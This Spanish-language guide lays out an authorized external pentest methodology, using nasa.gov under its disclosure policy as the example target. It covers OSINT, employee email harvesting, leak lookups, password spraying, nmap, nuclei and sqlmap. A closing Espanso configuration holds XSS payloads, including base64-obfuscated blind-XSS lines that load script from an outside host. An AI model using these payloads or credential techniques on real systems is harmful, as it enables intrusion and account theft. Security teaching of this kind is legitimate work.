External Pentest

Un pentest external es cuando el cliente provee un conjunto de IPs o un conjunto de subdominios dependiendo el tipo (caja negra, blanca, gris) y nosotros atacamos desde fuera de su red.

Por lo general se nos da información del tipo caja gris/negra. En la mayoría de los casos, solo nos dan el dominio principal y que hagamos reconocimiento desde cero, pero esto va a depender del cliente, lo importante aquí es que las pruebas se hacen desde afuera de la red de cliente y sin tener una conexión a su infraestructura.

Algo importante a destacar es que, si nos asignan una Web App en modalidad black box, el enfoque será similar al de un pentest externo, pero más acotado. Es decir, nuestro objetivo principal será la web, aunque eso no significa que no podamos explorar vectores externos que nos permitan encadenar accesos hacia la aplicación principal. Por supuesto, en estos casos es fundamental comunicarle al cliente que, dado el enfoque black box y el alcance limitado, podría ser necesario realizar un reconocimiento más amplio, lo cual podría implicar revisar activos adicionales relacionados con la web.

Metodología

La dividiremos en dos, enumeración pasiva y activa, en la pasiva intentamos buscar información por internet sin atacar a los servicios de nuestro objetivo. En la activa ya estamos haciendo contacto directo en la red de nuestro objetivo por lo que debemos ir con más precaución. Por lo general, podemos mezclar ambos conceptos ya que tenemos autorización del cliente para realizarlo, pero te recomendamos que empieces de izquierda a derecha, es decir, una enumeración pasiva y luego una activa.

Enumeración Pasiva

En esta parte buscamos obtener la mayor información posible sobre nuestro target, ampliar nuestros vectores de ataques lo máximo posible, pero ojo, hay ocasiones que el cliente solo quiere que se trabaje sobre el scope que se nos asigna asi que este paso se suele saltar.

Búsqueda de Subdominios, IPs, Puertos, Servicios y Tecnología

En esta etapa nos centraremos a obtener subdominios, IPS, puertos abiertos, servicios corriendo en los puertos y las tecnologías que se utilizan. Para estos ejemplos, utilizaré el dominio de nasa.gov ya que pertenece a un VDP: https://www.nasa.gov/vulnerability-disclosure-policy/, si no sabes que es un VDP es hora de googlear, sino te estoy dando todo en bandeja y no pones a prueba tu curiosidad, habilidad número 1 de un hacker.

Búsqueda de subdominios con DNSDumpster

Búsqueda de subdominios con VirusTotal

Búsqueda de subdominios con Vedbex

Cencys Dorks Cheatsheet: https://github.com/thehappydinoa/awesome-censys-queries

Búsqueda de información en Cencys

Shodan Dorks Cheatsheet: https://github.com/humblelad/Shodan-Dorks

Extensión de chrome: https://chromewebstore.google.com/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap

Búsqueda de información en Shodan

Búsqueda de información en Fofa

Búsqueda de información en Netcraft

Obtención de Información en general

En esta etapa buscamos profundizar más en nuestro objetivo. Utilizamos técnicas de OSINT para ampliar nuestros vectores de entradas.

Google Dorks Cheatsheet: : https://github.com/chr3st5an/Google-Dorking

Google Dorks

Bing Dorks Cheatsheet: https://support.microsoft.com/en-us/topic/advanced-search-keywords-ea595928-5d63-4a0b-9c6b-0b769865e78a

Bing dorks

Esta es una herramienta que provee búsqueda de forma automática seleccionando entre 18 tipos diferentes de búsquedas en google, me pareció un lindo atajo para ir más rápido.

Google dorks via pentest-tools

Duckduckgo Dorks Cheatsheet: https://duckduckgo.com/duckduckgo-help-pages/results/syntax/

DuckDuckGo Dorks

En esta sección tenemos varios temas interesantes, uno es la búsqueda de información a través de dorks y también la podemos hacer más profunda analizando a la empresa en cuestión y los usuarios/programadores que hagan los commits en los proyectos.

Github Dorks Cheatsheet: https://github.com/techgaun/github-dorks

Github dorks

./gitdumper.sh https://webappexample.nasa.gov/.git/ ~/your-folder/

Una vez que te descargues el .git empiezas a analizarlo con comandos de git, como por ejemplo git log, git show, etc.

User enumeration en commits:

Para este proceso tenemos que inspeccionar el hash de commit

Buscando hash del commit

Luego agregamos ".patch" al final para inspeccionar la información del mismo y aquí podemos obtener el correo de la persona que hizo el commit.

Inspeccionando comit

Para automatizar este proceso de recolección te recomiendo que utilices Gitkraken o Gitleaks

Para utilizar esta tool, van a tener que tener una cuenta y descargarse los repositorios que quieren inspeccionar, luego van a filtrar y desde ahí van a poder tener más a detalles los colaboradores.

Búsqueda de información con GitKranken

Gitleaks es una herramienta para detectar secretos como contraseñas, claves API y tokens en repositorios git, archivos y cualquier otra cosa que quieras arrojarle a través de stdin.

Búsqueda de información con gitleaks

Gitlab Dorks Cheatsheet: https://docs.gitlab.com/user/search/advanced_search/

Gitlab dorks

Esta es una tool bastante rápida para buscar información en github.

Búsqueda de información en grepp.app

Crt.sh permite buscar y visualizar información detallada sobre los certificados emitidos, como el nombre de dominio asociado, el emisor del certificado, los subdominios, la fecha de emisión y vencimiento, y otros datos relevantes.

Búsqueda de información en crt.sh

Las vulnerabilidades que he reportado gracias a Postman no se dan idea, a través de esta página van a poder buscar información sobre colecciones de empresas en donde en muchas de estas colecciones siempre se dejan endpoints o api_keys para interactuar con dichas APIs.

Búsqueda de información en Postman

Bastante similar a Postman.

Búsqueda de información en SwaggerHub

Docker Hub es un registro de contenedores que muchas empresas la utilizan. De vez en cuando suben algunos contenedores que contienen información importante de cara a un atacante.

Buscando información en DockerHub

Scribd es como una biblioteca gigante de archivos, aquí te vas a encontrar de todo, es una herramienta muy útil y donde siempre se encuentran cositas.

Buscando documentos sensibles en Scribd

Esta es una herramienta para buscar buckets públicos por internet.

Búsqueda de buckets públicos en Grayhatwarfare

Búsqueda de información en Videos

Esta parte es muy divertida, vamos a utilizar tanto Vimeo como Youtube para buscar por ejemplo videos demostrativos "más conocidas como demos" de nuestro objetivo. Muchas veces los clientes dejan grabadas demos para presentar a sus clientes y aquí divulgan información como ser aplicaciones que no están en producción, usuarios válidos, posibles rutas interesantes, etc. Por ejemplo si tienes una demo donde muestran la sección de usuarios, te recolectas todos esos usuarios y vas a realizar un password spray sobre el panel mismo con credenciales débiles como por ejemplo: 12345678. CREEME QUE MÁS DE UNA VEZ ME FUNCIONÓ. También es importante para entender cómo funcionan sus aplicaciones y por dónde podríamos encontrar vulnerabilidades ya que acá muestran todo el flujo de la aplicación por lo general.

Búsqueda de videos en Vimeo

Búsqueda de videos en Youtube

OSINT enfocado a cuentas personales

Hay muchas situaciones que nuestro scope es muy reducido y no tenemos tantos subdomnios o ips expuestas, por lo que nos tocará ir a por los empleados de la empresa para intentar acceder al mismo.

En este punto nos centramos a enumerar al cliente pero todo sobre la capa 8, el eslabón más débil de las empresas, nuestro objetivo es listar la mayor cantidad de usuarios de la empresa o los más importantes y encontrar su patrón de usuarios, correos y demás, una vez que hagamos hecho este procedimiento pasaremos a utilizar herramientas como dehashed para buscar leaks asociado a sus cuentas.

Recolección de correos y perfiles relevantes en entornos corporativos

Durante la fase de reconocimiento, uno de los objetivos clave es identificar empleados que puedan representar un punto de entrada valioso para un atacante. Esto implica analizar no solo sus roles, sino también a qué tipo de información o sistemas podrían tener acceso.

Perfiles clave a considerar

  • Personas del área de People & Culture o Recursos Humanos pueden tener acceso a información sensible de los empleados, como documentos personales, contratos o sueldos.

  • Integrantes del equipo de IT suelen tener acceso a servidores, infraestructura interna, VPNs y otros sistemas críticos.

  • Personal de alta gerencia o ejecutivos manejan información estratégica, financiera y confidencial.

  • Roles como diseñadores, marketing o atención al cliente no deben ser descartados. Muchas veces las empresas asignan más permisos de los necesarios, por lo que alguien con bajo perfil puede tener privilegios excesivos.

Obtención de correos corporativos

  1. LinkedIn Buscar empleados de la empresa para identificar nombres, roles y posibles patrones de nombre de usuario.

  2. Hunter.io Permite obtener correos públicos asociados al dominio de la empresa. También puede dar una idea del formato general de los correos (por ejemplo: jperez@nasa.gov).

  3. GitHub / GitLab Analizar quiénes participan en repositorios asociados a la empresa. Observar autores de commits, usuarios frecuentes, correos configurados en los repositorios, etc. Esto ya lo vimos más arriba ;)

Ejemplo de construcción de patrones de correo

Supongamos que encontramos a un empleado llamado Juan Pérez. En sus redes sociales utiliza el usuario “jperez” o “juanp”. Es probable que este mismo patrón se use en su correo corporativo.

Si el dominio de la empresa es nasa.gov, algunas variantes posibles serían:

Además, es común que ese mismo patrón se repita en correos personales como:

El objetivo es identificar patrones repetidos en nombres de usuario y aplicarlos a la estructura de correo corporativo. Una vez definida una lista de posibles correos, se puede pasar a buscarlos en fuentes como Dehashed.

Búsqueda en Dehashed

Con una lista de posibles víctimas y sus correos (o variantes), se pueden realizar búsquedas efectivas en Dehashed. Algunos criterios útiles son:

  • Correos electrónicos (por ejemplo, juan@nasa.gov)

  • Nombres de usuario (como jperez)

  • IPs

  • Nombres y apellidos

  • El dominio completo de la empresa (nasa.gov)

Búsqueda de Leaks en Dehashed

En el caso que no obtengas contraseñas en texto plano, puedes intentar buscar los hashes de contraseña en algunas páginas como:

O optar por crackearlas offline:

Si quieres saber si un correo ha sido comprometido puedes usar:


Enumeración activa

En esta sección exploraremos algunas alternativas que tenemos ya en una enumeración más activa, es decir, ya vamos a estar haciendo uso de tools contra la víctima en particular, por ejemplo, muchas veces para enumerar subdominios tenemos que hacer fuerza bruta sobre la empresa víctima, por lo que quedarán registros en sus logs que nuestra ip estuvo realizando ese tipo de ataques, es por eso que para esta etapa ya se requiere autorización del cliente (también en la anterior, pero en la fase de enumeración pasiva solo recolectamos información en internet, no estamos atacando al cliente).

El proceso que realizamos parte desde enumerar subdominios, luego enumeramos puertos/servicios, y después ya empezamos a hacer un reconocimiento más específico por cada puerto y servicio, llegada a esta etapa ya tenemos que tener una lista de puertos y los servicios que corren en cada uno de estos para lanzar una serie de scripts de nmap, en el caso de puertos 443, 80 podemos apoyarnos de nuclei, burpsuite y como extra también podemos hacer uso de theHarvester, bbot, dnsenum para una mayor enumeración.

La clave está en tener todos los puertos y servicios que están expuestos en el cliente y buscar formas de entrar a sus servidores mediante vulnerabilidades o fallas en la configuración de los mismos.

SubdomainRecon

SubdomainFinder es una herramienta automatizada diseñada para la recopilación y verificación de subdominios utilizando múltiples herramientas de reconocimiento. Ideal para evaluaciones de seguridad en aplicaciones web y análisis de estructuras de red.

Ejemplo de uso:

SubdomainRecon

Resultados:

Subdomainrecon

Repositorio: https://github.com/medicenr4z0r/subdomainRecon

SubCrawler

SubdomainFinder es una herramienta automatizada diseñada para la recopilación y verificación de subdominios utilizando múltiples herramientas de reconocimiento. Ideal para evaluaciones de seguridad en aplicaciones web y análisis de estructuras de red. Creada por un tal r4z0r con mucho amor.

SubCrawler

Esta no la ejecuté porque me iba a dar una salida gigante, pero es una de mis tools favoritas a la hora de un escaneo rápido para obtener subdominios y URLs.

Repositorio: https://github.com/medicenr4z0r/SubCrawler/

Host

Host es una herramienta que nos permitirá identificar qué IPs están corriendo bajo ciertos dominios. A través del siguiente script le pasamos una lista de dominios y este filtra todos las IPs a las que resuelven esos dominios deja solo las únicas, es decir, quita las repetidas.

Oneliner by Gus:

for i in $(cat scope.txt); do host $i |  grep -oP '(\\d+\\.){3}\\d+'; done | sort -u

Ejemplo:

Host para resolver IPs

Dig

Dig (Domain Information Groper) es una herramienta de línea de comandos de Linux que realiza búsquedas en los registros DNS, a través de los nombres de servidores, y te muestra el resultado:

Oneliner by Gus:

while IFS= read -r l; do ip=$(dig +short "$l" | grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' | head -1); echo "[+] '$l' => $ip"; echo "$ip" >> ips.txt; done < /tmp/scope.txt

Ejemplo:

Uso de Dig para resolver IPs

Nmap

Nmap, bueno, no hace falta que explique Nmap si estás en este punto de tu carrera. Aquí los pasos importantes serán realizar un escaneo de puertos y servicios que nos permitan aumentar nuestros vectores de ataque y conocer todo lo que el cliente tenga expuesto sin afectar su red y evitando que nos baneen los ataques.

Some Ports:

Este script realiza un escaneo enfocado en una serie de puertos ampliamente utilizados en entornos corporativos. El objetivo es identificar rápidamente servicios expuestos que podrían representar vectores de ataque comunes.

nmap -n -v -sT -Pn --open --defeat-rst-ratelimit -T2 --max-retries 1 --max-hostgroup 4 -p 21,22,23,25,80,88,110,143,389,443,445,636,993,995,1433,1521,3306,3389,8080  -iL ./targets.txt -oA nmapSomePortsCliente

Parámetros destacados:

  • --defeat-rst-ratelimit: Ayuda a evitar restricciones impuestas por los sistemas al recibir múltiples paquetes RST (reset). Esto puede mejorar la precisión en escaneos más lentos o sigilosos.

  • --max-retries 1: Limita los reintentos de envío de paquetes a 1, agilizando el escaneo y reduciendo la posibilidad de detección.

  • --max-hostgroup 4: Controla la cantidad de hosts escaneados simultáneamente. En este caso, se limitan a 4 para evitar sobrecargar la red o los sistemas objetivos.

  • -sT: Realiza un escaneo TCP con conexión completa (three-way handshake). Se usa cuando no se tienen privilegios de root.

  • -Pn: Omite la detección de hosts vivos. Nmap asume que todos los objetivos están activos, útil si bloquean pings o detección previa.

  • -T2: Define el nivel de agresividad del escaneo (timing). T2 es una opción moderada, adecuada para entornos donde se requiere precaución.

Ajuste de parámetros de TIMING según el contexto:

Dependiendo del entorno y los requerimientos del cliente, el parámetro de timing puede modificarse. A continuación, se presentan recomendaciones para ajustar la opción TIMING:

A. Equipos críticos o sensibles Mantener -T2 o incluso usar -T1 si el cliente solicita un escaneo más cuidadoso.

B. Escenario estándar o sin restricciones especiales Eliminar -T2 para que Nmap utilice su configuración de timing predeterminada, adaptándose automáticamente al número de objetivos y al tiempo disponible.

C. Escaneo más rápido (previa autorización de tu líder) Sustituir -T2 por --scan-delay 150ms para reducir el tiempo entre envíos de paquetes, acelerando el proceso.

Default Scan:

Este comando representa un escaneo TCP básico y controlado, nos da una visibilidad general de los puertos expuestos.

nmap -n -v -sT -Pn --open --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4 -iL ./targets.txt -oA nmapDefaultCliente

Port Ratio 0:

Este escaneo es alternativo a los demás, lo interesante es que podemos decirle a Nmap que nos escaneo puertos basado en porcentajes de ratio, es decir, qué tan frecuente es que salga ese puerto en un escaneo, para eso Nmap maneja una lista de probabilidades por puerto (un ratio), esto lo vemos en la siguiente imagen:

Como se aprecia, el puerto 22 tiene una probilidad del 18% de salir en un escaneo, el http 48%, el 443 un 20%, teniendo en cuenta esto, si utilizamos port-ratio 0.48 tomará solo los puertos que tengan ese porcentaje.

nmap -n -v -sT -Pn --open --defeat-rst-ratelimit  TIMING --max-retries 1 --max-hostgroup 4  --port-ratio 0.48 -iL ./targets.txt -oA nmapPR0Cliente

Nmap Services

En el siguiente escaneo reemplazar $ports por la lista de puertos que ya se tenga descubierta. Esta lista contendrá todos los puertos abiertos encontrados en todos los targets. Habrán targets que tienen ciertos puertos abiertos y otros no.

nmap -n -v -sT -Pn --open -sV  --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4  -p $ports -iL ./targets.txt -oA nmapSVCliente

Si no quieres andar copiando uno por uno los puertos puedes usar funciones como estas definidas en tu .zshrc o .bashrc:

function extractPorts() {
    if [[ -z "$1" || ! -f "$1" ]]; then
        echo "Usage: extractPorts <nmap_output_file>"
        return 1
    fi

    echo -e "\n[*] Extracting information...\n" > extractPorts.tmp

    ip_address=$(grep -oP '\d{1,3}(\.\d{1,3}){3}' "$1" | head -n 1)
    ports=$(grep -oP '\d{1,5}/open' "$1" | cut -d'/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')

    echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
    echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp

    # Copy to clipboard if xclip is installed
    if command -v xclip &> /dev/null; then
        echo -n "$ports" | xclip -sel clip
        echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
    else
        echo -e "[!] xclip not found, ports not copied to clipboard\n" >> extractPorts.tmp
    fi

    cat extractPorts.tmp
    rm extractPorts.tmp
}

Cuando la ejecutes vas a tener copiado todos los puertos del escaneo en tu clipboard.

UDP Scan:

sudo nmap -n -v -sU -Pn --open -sV --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4 -p $ports -iL ./targets.txt -oA nmapSVUDPCliente

Si el tiempo lo permite realizamos este escaneo:

Nmap All Ports:

Aquí escaneamos los 65535 puertos.

nmap -n -v -sT -Pn --open -sV --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4 -p 1-65535 -iL ./targets.txt -oA nmapLastCliente   

Escaneo de vulnerabilidades

Iniciar con los scripts de NMAP :

nmap -n -v -sT -Pn --open -sV --defeat-rst-ratelimit TIMING --max-retries 1 --max-hostgroup 4 -p $ports -iL ./targets.txt --script "not *flood* and not *brute* and not *dos* and not *broadcast* and not *fuzz* and not *qscan* and not *slow* and not *mrinfo* and not *blacklist* and not *xssed*"  -oA nmapScriptsCliente

Si quieres explorar más sobre el mundo de NMAP te dejo este cursito GRATIS en YouTube: https://youtu.be/FTpTNdVXFY0?si=ZCpdIWHTAmoGDsW_

Esta sección de NMAP la aprendí con el Team de OpenSec, asi que más que agreadecido por sus conocimientos.

Fuzzing

dirsearch -u https://someapp.nasa.gov/api-endpoint/ -t 1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e js,html -o fuzz/api --max-rate=2

Parámetros destacados:

  • --max-rate: Con esto evitamos enviar más de x solicitudes por segundo.

Nuclei

Esta herramienta es una de las mejores cuando ya tenemos un conjunto de urls en nuestro arsenal, por ejemplo, cuando ya tengamos muchas urls cargadas en nuestro sitemap de burp, podemos hacer un filtrado de urls y pasarselas a nuclei, donde este a través de templates intentará buscar vulnerabilidades, se recomienda realizarlo de forma que se ve en la siguiente imagen con el fin de no lograr provocar una denegación de servicio o alto consumo de recursos en el cliente ya que realiza muchas peticiones.

Nuclei Scan:

nuclei -l nucleiUrls -timeout 20 -etags ddos,fuzz,bruteforce -es info -retries 3 -stats -o nucleiScan.txt
  • -l nucleiUrls Especifica el archivo que contiene la lista de URLs a escanear. En este caso, nucleiUrls.

  • -timeout 20 Define un timeout de 20 segundos para las solicitudes HTTP. Si un objetivo tarda más, se descarta.

  • -etags ddos,fuzz,bruteforce Excluye templates que tengan los tags ddos, fuzz o bruteforce. Esto evita escaneos agresivos o pesados, que podrían generar ruido o afectar la estabilidad del sistema objetivo.

  • -es info Excluye resultados con severidad info, dejando solo findings con mayor impacto (low, medium, high, critical).

  • -retries 3 Reintenta hasta 3 veces en caso de errores temporales o fallos de red.

  • -stats Muestra estadísticas del escaneo en tiempo real (por ejemplo, cuántos templates se han ejecutado, cuántos hosts quedan, etc.).

  • -o nucleiScan.txt Guarda todos los resultados en el archivo nucleiScan.txt.

SQL Injection

Guía: https://r4z0r.gitbook.io/las-notas-de-r4z0r/web-app-pentest/sql-nosql-injection/sql-injection

SQLMap básico:

sqlmap -r sqli --level 2 --risk 2 --dbs --proxy="http://127.0.0.1:8080" --delay=1 --random-agent --batch

Parámetros destacados:

  • -r: La solicitud que guardé desde Burp Suite.

  • --delay: Delay de x segundos por cada solicitud.

  • --proxy: Para que el tráfico pase por nuestro proxy, ej: burpsuite.

  • --risk: Este parámetro define el nivel de agresividad de las pruebas que realiza sqlmap. Acepta valores entre 1 y 3, siendo:

    • 1 (por defecto): Utiliza payloads básicos, considerados seguros para la mayoría de los puntos de inyección SQL.

    • 2: Agrega técnicas más intensivas, como inyecciones basadas en tiempo (time-based blind), que pueden generar una mayor carga en el servidor.

    • 3: Incluye además pruebas basadas en errores (error-based), como OR 1=1, lo que incrementa la posibilidad de detección pero también el riesgo de afectar el comportamiento de la aplicación.

  • --level: A mayor nivel, más parámetros serán testeados (por ejemplo, cookies, headers adicionales, rutas ocultas). Debemos obviarlo si le pasamos -p ya que ahí le decimos el parámetro donde realizará la prueba.

Guía SQLMap: https://github.com/sqlmapproject/sqlmap/wiki/Usage

IDORs

Guía: https://r4z0r.gitbook.io/las-notas-de-r4z0r/web-app-pentest/insecure-direct-object-reference-idor

Para encontrar IDORs utilizo esta extensión de Burpsuite que me parece muy fácil de utilizarla y bastante poderosa, se llama Auth Analyzer.

- https://portswigger.net/bappstore/7db49799266c4f85866f54d9eab82c89

XSS

Guía: https://r4z0r.gitbook.io/las-notas-de-r4z0r/web-app-pentest/cross-site-scripting-xss

Herramientas útiles:

Personalmente me gusta más xss0r porque la puedes configurar con notificaciones en Telegram, entonces vas metiendo tus payloads y si se triguerea te llega una notificación, pero aún lo podemos hacer más rápido a este proceso con lo siguiente...

Automatización de ataques con Espanso

  • Instalar Espanso

  • Configurar de base.yml

  • Ubicación de base.yml: /Users/r4z0r/Library/Application Support/espanso/match/base.yml (Dependerá de tu SO)

# espanso match file
matches:
  # xss basic
  - trigger: ":img"
    replace: '"><img src=z onerror=prompt(3)>'

  - trigger: ":script"
    replace: '"><script alert(10)></script>'

  # xss 1
  - trigger: ":xss1"
    replace: '"><script src=https://xss0r.com/c/razor></script>'

  # xss 2
  - trigger: ":xss2"
    replace: '"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2MvcmF6b3IiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>"'
  
  # dirsearch basic
  - trigger: ":dirbasic"
    replace: 'dirsearch -u "$|$" -f -F -x 400-499'
  
  # dirsearch especific
  - trigger: 
    replace: 'dirsearch -u "$|$" -t 1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e js,html -o results --max-rate=2 -f -F -x 400-499'
      
  # nuclei
  - trigger: ":nuclei"
    replace: 'nuclei -l "$|$" -timeout 20 -etags ddos,fuzz,bruteforce -es info -retries 3 -stats -o nucleiScan.txt' 

  # sqlmap
  - trigger: ":sqlmap"
    replace: 'sqlmap -r "$|$" --level 2 --risk 2 --dbs --proxy="http://127.0.0.1:8080" --delay=1 --random-agent --batch'

Cada vez que escribas por ejemplo lo que está dentro de trigger se añadirá automáticamente el payload que configures.

El checklist de r4z0r

Enumeración pasiva

Enumeración activa

Disclaimer

Última actualización